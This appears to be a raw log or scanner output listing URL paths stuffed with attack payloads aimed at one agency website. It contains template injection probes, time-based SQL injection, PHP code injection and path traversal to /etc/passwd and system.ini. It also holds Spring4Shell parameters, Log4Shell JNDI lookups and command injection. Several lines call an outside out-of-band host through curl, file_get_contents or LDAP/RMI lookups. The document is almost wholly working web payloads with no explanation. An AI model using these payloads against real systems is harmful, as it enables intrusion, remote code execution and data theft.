/wp/wp-admin/1)${x}")${x}')${x}zj#set($x=5187*8267)${x}zj
/people/1}}"}}'}}zj{{39980|add:43210}}zj
/people/1}"}'}zj${7811*8702}zj
/people/1)${x}")${x}')${x}zj#set($x=5645*3282)${x}zj
/people/<%={{={@{#{${zj}}%>
/contact' and 0 in (select case when cast(pg_sleep(10) as varchar) > '' then 0 else 1 end ) -- ?agency=mullenlowe-singapore
/contact and 0 in (select case when cast(pg_sleep(10) as varchar) > '' then 0 else 1 end ) -- ?agency=mullenlowe-singapore
contact" where 0 in (select case when cast(pg_sleep(10) as varchar) > '' then 0 else 1 end ) -- ?agency=mullenlowe-singapore
/work/from-father-to-father" or 0 in (select case when cast(pg_sleep(10) as varchar) > '' then 0 else 1 end ) -- 
/contact?reset-search= and 0 in (select case when cast(pg_sleep(10) as varchar) > '' then 0 else 1 end ) -- 
/cookie-policy" or 0 in (select case when cast(pg_sleep(10) as varchar) > '' then 0 else 1 end ) -- 
/wp/wp-admin/admin-ajax.php' and 0 in (select sleep(10) ) -- 
/wp/wp-admin/admin-ajax.php" where 0 in (select sleep(10) ) -- 
/wp/wp-admin/admin-ajax.php or 0 in (select sleep(10) ) -- 
/wp/wp-admin/admin-ajax.php' or 0 in (select sleep(10) ) -- 
/wp/wp-admin' where 0 in (select sleep(10) ) and ''='/admin-ajax.php
/wp' where 0 in (select sleep(10) ) -- /wp-admin/admin-ajax.php
/all-work" or 0 in (select sleep(10) ) and ""="
/people' or 0 in (select sleep(10) ) -- /alex-leikikh
/?><?php sleep(bindec(decbin(10)));?>
/?><?php file_get_contents("http://htrfqcixgjxedvvc3kocgrg"."g8dhnerkwn.szp.prbly.win");?>
/?><?php file_get_contents("http://htrfqcixgjxedvvc3kocc6h"."zd63kycmkf.szp.prbly.win");?>/alex-leikikh
/wp/szp.prbly.win/s/rfi/admin-ajax.php
/wp/http://htrfqcixgjxedvvc3kocqwrfwyqvaj59n.szp.prbly.win/admin-ajax.php
/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/passwd?agency=mullenlowe-lintas-group
/etc/passwd?agency=mullenlowe-lintas-group
/contact?agency=.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/passwd
/file:///etc/passwd?agency=mullenlowe-singapore
/ || 'a'=='a' || 'a'=='a/work/great-taste-in-a-mini-bag
/";return "a"=="a" && ""=="/work/great-taste-in-a-mini-bag
/news/work/great-taste-in-a-mini-bag?class.module.classLoader.resources.context.configFile=http://htrfqcixgjxedvvc3kocbnaljvdfx8xqy.szp.prbly.win&class.module.classLoader.resources.context.configFile.content.aaa=xxx
/news/${jndi:ldap://127.0.0.1#${sys:java.version}.htrfqcixgjxedvvc3kocj4w${lower:r}ymiulfdwe.szp.prbly.win:1389/abc}/great-taste-in-a-mini-bag
/${${lower:${lower:jndi}}:${lower:rmi}://${sys:java.version}.htrfqcixgjxedvvc3kocih5${lower:u}oxpyugtyp.szp.prbly.win/abc}/work/great-taste-in-a-mini-bag
/${${lower:j}ndi:${lower:l}dap://${sys:java.version}.htrfqcixgjxedvvc3koc44g${lower:w}bzbczil0u.szp.prbly.win/abc}/work/great-taste-in-a-mini-bag
/news/{system("curl http://htrfqcixgjxedvvc3koc9fh{""}plk6eswvaz.szp.prbly.win")}/great-taste-in-a-mini-bag
/news/#{system("curl http://htrfqcixgjxedvvc3koc9ng" "7bkmilw90u.szp.prbly.win")}/great-taste-in-a-mini-bag
/news|ping -n 11 127.0.0.1||`ping -n 11 127.0.0.1` #' |ping -n 11 127.0.0.1||`ping -n 11 127.0.0.1` #\" |ping -n 11 127.0.0.1/work/great-taste-in-a-mini-bag
/news;echo jUSIQTkiCG#";echo jUSIQTkiCG#';echo jUSIQTkiCG#/work/great-taste-in-a-mini-bag
/news|echo S09HRi006t||echo S09HRi006t #' |echo S09HRi006t||echo S09HRi006t #|" |echo S09HRi006t||echo S09HRi006t #/work/great-taste-in-a-mini-bag
/wp/wp-admin/\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system.ini
/wp/wp-admin/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../Windows/system.ini
/wp/wp-admin/file:\\\\\\D:\a\1\s\iForm\ViewWorkLogDocument.ashx